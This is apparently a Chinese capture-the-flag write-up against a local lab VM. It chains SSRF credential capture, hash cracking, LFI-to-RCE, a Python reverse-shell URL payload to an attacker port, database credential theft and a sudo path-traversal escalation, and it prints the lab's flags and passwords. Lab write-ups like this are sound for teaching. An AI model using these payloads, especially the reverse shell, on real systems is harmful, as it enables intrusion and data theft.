一、主机发现与目标确认

1.1 环境设定

• 攻击机:Kali Linux 2025.1(IP: 192.168.47.137

• 靶机网络:VMware NAT模式,子网段为 192.168.47.0/24

• 测试环境:所有设备均为本地虚拟机,确保网络互通

1.2 主机扫描与目标锁定

首先通过nmap工具执行主机存活探测,命令如下:

nmap -sP 192.168.47.0/24

1-BKyQ.png

分析结论:网段中共发现 4 台存活主机,其中 192.168.47.138 被选定为渗透测试目标。

1.3 对目标主机进行全面端口与服务识别

首先通过nmap工具对目标主机进行信息收集,命令如下:

nmap -sV -sC -p- -T4 192.168.47.138

图片1.png
2.png

通过上面命令可以收集到以下信息

   - IP: 192.168.47.138

   - 服务: Apache 2.4.62

   - 系统: CentOS Stream

   - 应用: Web测试管理系统

二、Web应用初探与入口突破

2.1 应用功能入口分析

访问http://192.168.47.138,页面标题为“Web测试管理系统”,提供“登录”与“注册”两个核心功能入口。

图片2.png

先进行用户注册后在进行登录,发现界面有三个功能模块,但只有网站测试功能能正常访问,其余两个不具备权限访问,需要管理员身份密码进行登录才能访问。

图片3.png

 

图片4.png

基于权限优先级,将“网站测试功能”作为首要突破口。

三、SSRF漏洞识别与凭证获取

3.1 功能逻辑与漏洞探测

点击进入“网站测试功能”,对应URL为:http://192.168.47.138/webtest.php。页面提供URL输入框对任意url进行发起请求测试

尝试输入百度地址https://www.baidu.com,系统成功返回完整的HTTP响应头数组

图片5.png

根据测试结果可知,系统会将原始响应头暴露给用户,明确存在服务器端请求伪造(SSRF)漏洞。

3.2 监听服务搭建与凭证捕获

为进一步利用SSRF漏洞,在Kali攻击机上编写简易Flask服务,用于记录靶机发起的所有HTTP请求头。启动服务后,在靶机“网站测试功能”中输入攻击机地址http://192.168.47.137。

Kali控制台立即捕获到靶机发送的请求头

图片6.png

其中包含一段Base64编码内容。解码后得到凭证:fuli:wsGdwWQZTu7U4seseGaG(用户名:fuli,密码:wsGdwWQZTu7U4seseGaG)。

 

图片7.png

使用该凭证登录“项目文件查看”与“文件包含测试”功能,均成功通过验证。

四、隐藏管理页面挖掘与密码破解

4.1 项目文件目录遍历

进入“项目文件查看”页面,系统要求输入目录路径。尝试输入 /etc/passwd 等非法路径均被拦截,提示“错误:禁止使用非法路径”;

图片8.png

但输入当前目录符号“.”时,成功返回文件列表,对应路径为/var/www/html/api。

图片9.png

列出的文件包括:filelist.php、include.php、webtest.php、mgmt_page。其中mgmt_page无.php后缀,但名称明确指向“管理页面(management page)”,成为重点关注对象。

4.2 管理页面访问与硬编码密码破解

直接访问管理页面:http://192.168.47.138/api/mgmt_page,页面显示“系统维护入口”及“请输入维护密码”输入框。输入任意内容均无有效回显,右键查看网页源代码,发现一段嵌入HTML的PHP代码:

图片10.png

代码中暴露了维护密码的MD5哈希值:96e44fa82e5a5263fb92337be422d3eb。将该哈希值提交至在线MD5解密平台,秒出结果:维护密码为SOUTH(长度5位,符合代码中的长度校验逻辑)。

五、LFI+RCE组合利用实现命令执行

5.1 直接执行命令的限制

在管理页面输入密码SOUTH后,页面提示“维护入口已打开!”,但未提供命令输入框,直接通过URL传入cmd参数也无法触发命令执行。

图片11.png

 

因此转向“文件包含测试”功能,尝试结合文件包含(LFI)漏洞利用管理页面的命令执行逻辑。

5.2 组合漏洞利用LFI与RCE实现

“文件包含测试”功能允许用户指定文件路径进行包含,结合前文发现的mgmt_page,构造如下URL:

http://192.168.47.138/api/include.php?file=mgmt_page&password=SOUTH&cmd=ls

核心逻辑:

• file=mgmt_page:通过文件包含功能加载管理页面的PHP逻辑

• password=SOUTH:满足管理页面的认证条件,触发$authenticated=true

• cmd=ls:传入待执行的系统命令

访问该URL后,页面成功返回ls命令的执行结果,远程命令执行(RCE)漏洞利用成功。此时可执行whoami、id等任意系统命令,但存在输出被HTML转义或截断的问题,需升级为交互式Shell以稳定获取信息。

5.3 本地信息侦察与初步突破

利用RCE执行命令侦察Web根目录:cmd=ls /var/www/,返回结果包含flag1.txt,成功定位第一个FLAG。

图片12.png

执行cmd=cat /var/www/flag1.txt,得到flag1:flag1{e707593d8a4c4c4db9d4a2f020258e7b}。

图片13.png

进一步遍历上级目录(cmd=ls ..),发现数据库配置文件db.php。尝试远程连接MySQL数据库失败,计划获取交互式Shell后本地登录数据库。

六、反弹Shell获取交互式终端

6.1 监听服务启动

在Kali攻击机上通过Netcat开启端口监听,等待靶机反弹连接:

图片14.png

6.2 反弹Shell Payload构造与执行

回到“文件包含测试”功能,构造包含Python反弹Shell的URL参数(Payload核心逻辑:建立与攻击机4444端口的TCP连接,启动交互式/bin/sh):

http://192.168.47.138/api/include.php?file=mgmt_page&password=SOUTH&cmd=export%20RHOST=%22192.168.47.137%22;export%20RPORT=4444;python3%20-c%20%27import%20sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));[os.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)];pty.spawn(%22sh%22)%27

提交后,Kali终端立即收到靶机的连接请求,成功获取交互式Shell,当前用户为Web服务运行账户apache。

图片15.png

七、数据库凭证挖掘与用户切换

7.1 本地数据库登录与凭证提取

在交互式Shell中使用获取的MySQL凭证本地登录:

Mysql -u root -pbd6d6wEZdTr2QNkk.1

成功进入MySQL后,切换至web_test_management数据库,查询用户表

图片16.png

查询结果中包含admin用户的MD5哈希值:9eaf9317aac50c955575334a93d0b9c。通过在线解密平台破解得到明文密码:chispa。经测试,admin用户处于禁用状态,暂无法直接使用。

7.2 切换至benjamin用户获取flag2

执行cmd=cat /etc/passwd命令侦察系统本地用户,发现用户benjamin。尝试利用社会工程学思路,使用admin用户的密码chispa切换用户:

图片17.png

输入密码chispa后用户切换成功,提示符变为benjamin用户,通过目录遍历发现在家目录下存在flag2.txt,通过cat flag2.txt,成功拿到第二个flag值:flag2{8437b8760a7a4717ad4e41568a9301e}

八、sudo路径遍历提权获取flag3

8.1 目标权限分析

根目录执行ls -l flag3.txt命令,发现flag3.txt的权限为root独占(-r-------- 1 root root 45 Dec 23 18:00 /flag3.txt),仅root用户可读。当前用户benjamin无root密码,无法通过su切换,需寻找提权路径。

图片18.png

8.2 sudo权限侦察与漏洞发现

执行sudo -l命令侦察当前用户的sudo权限(Linux渗透中提权侦察的核心命令),返回关键信息:

图片19.png

8.3 路径遍历漏洞利用与提权

核心利用逻辑:在路径中插入../,Shell会优先解析路径,将/root/notes/../xxx解析为/root/xxx,而sudo校验时仅判断命令行是否以/root/notes/开头,因此可绕过路径限制。

目标为读取/flag3.txt,构造路径:/root/notes/../../flag3.txt(解析后实际路径为/flag3.txt)。执行提权命令:

图片20.png

最终获取第三个FLAG

flag3{1935a1a226564181bb8d4ee15ad73f96}